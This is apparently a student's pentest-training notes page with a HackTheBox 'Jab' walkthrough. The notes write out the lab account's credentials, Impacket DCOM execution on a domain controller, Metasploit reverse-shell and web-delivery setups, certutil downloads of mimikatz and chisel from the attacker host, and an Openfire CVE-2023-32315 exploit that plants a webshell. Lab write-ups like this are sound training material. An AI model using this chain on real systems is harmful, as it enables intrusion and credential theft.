Search

Home

PNPT Studies

PJPT Studies

AD CS / Certificate Attacks (ESC1-15) (1, 8, 11 for now)

Report Writing / Client Presentation

Operationalizing Cybercrime Data (June 2025)

Jab

NMAP Scan Results:

  • Kerberos running
    • kerberoast?
      • Can we get access to service account
  • Ignite Realtime Openfire Jabber server 3.10.0
    • What is this?
      • Messaging app
    • Does it have exploits?
      • Yes Embed GitHubEmbed GitHub

-

Account found in XMPP:

svc_openfire:!@#$%^&*(1qazxsw

Bloodhound:

cd ~/.local/pipx/venvs/crackmapexec/bin/

./bloodhound-python -d jab.htb -u svc_openfire -p '!@#$%^&*(1qazxsw' -ns 10.10.11.4 -c all --zip

move the zip and unzip:

mv 20240418063912_bloodhound.zip /home/kali/Desktop/HackTheBox/Jab/BloodhoundResult
cd /home/kali/Desktop/HackTheBox/Jab/BloodhoundResult
ls
unzip 2023 tab

#sudo python3 /home/kali/.local/pipx/venvs/crackmapexec/bin/bloodhound-python -d MARVEL.local -u fcastle -p Password1 -ns 192.168.218.136 -c all

ExecuteDCOM in Bloodhound results

Impacket has DCOM

dcomexec.py 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw@dc01.jab.htb' 'ping -n 10.10.14.19' -nooutput -object MMC20 -dc-ip 10.10.11.4

msfconsole to get listener on metasploit:

msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 5555
run

msfconsole to do web delivery:

msfconsole
use exploit/multi/script/web_delivery
set lhost tun0
set payload windows/meterpreter/reverse_http
set target 2 #PSH
run -j
sessions -i 1

send DCOM to domain controller with powershell from msfconsole:

not working. What archtype?

dcomexec.py 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw@dc01.jab.htb' 'systeminfo' -nooutput -object MMC20 -dc-ip 10.10.11.4

no work

try impacket:

Try x64:

worked.

Metasploit suggester:

run post/multi/recon/local_exploit_suggester

set exploits to x64

set payload windows/x64/meterpreter/reverse_tcp

none worked. Can we tranfer NC?

temp gets deleted. Desktop doesn’t. Test exploits by writing to desktop?

metasploit suggester:

run post/multi/recon/local_exploit_suggester

set path:

set PATH c:\\Users\\svc_openfire\\desktop

it’s a little slow so also increase wait time:

set WAIT_TIME 10

non worked.

WinPEAS?

WinPEAS over:

certutil -urlcache -f http://10.10.14.19:6999/winPEASx64.exe winpeas.exe

mimikatz over:

certutil -urlcache -f http://10.10.14.19:6999/mimikatz.exe mk.exe

Chisel to unzip:

gunzip -d *.gz
certutil -urlcache -f http://10.10.14.19:6999/chisel.exe chisel.exe

connect to PC:

start chisel listener:

chisel server -p 9999 --reverse

connect back:

chisel client 10.10.14.19:9999 R:9090:127.0.0.1:9090

open the website on that port:

http://127.0.0.1:9090

We can run the exploit with the bypass:

cd /opt/CVE-2023 #auto tab
python3 hugme.py -u http://127.0.0.1:9090

doesn’t work

login with the service account?

svc_openfire:!@#$%^&*(1qazxsw

not much. Another exploit on google?

https://www.rapid7.com/db/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315/

try the Metasploit one:

search openfire_auth_bypass
use exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315

this and the one at the top are patched on 4.7.5 but we found another:

Embed GitHub

We can upload this plugin to the admin console and gain shell

git clone https://github.com/miko550/CVE-2023-32315.git
cd CVE-2023-32315
pip3 install -r requirements.txt

usage:

python3 CVE-2023-32315.py -t http://127.0.0.1:9090
python3 CVE-2023-32315.py -l lists.txt

Steps

  1. Run exploit
  2. login with newly added user
  3. goto tab plugin > upload plugin openfire-management-tool-plugin.jar
  4. goto tab server > server settings > Management tool
  5. Access websehll with password "123"

cmd link:

http://127.0.0.1:9090/plugins/openfire-management-tool-plugin/cmd.jsp

We get a shell. Metasploit for actual shell:

msfconsole
use exploit/multi/script/web_delivery
set lhost tun0
set payload windows/x64/meterpreter/reverse_tcp
set target 2 #PSH
set srvport 4692
run -j
sessions -i 1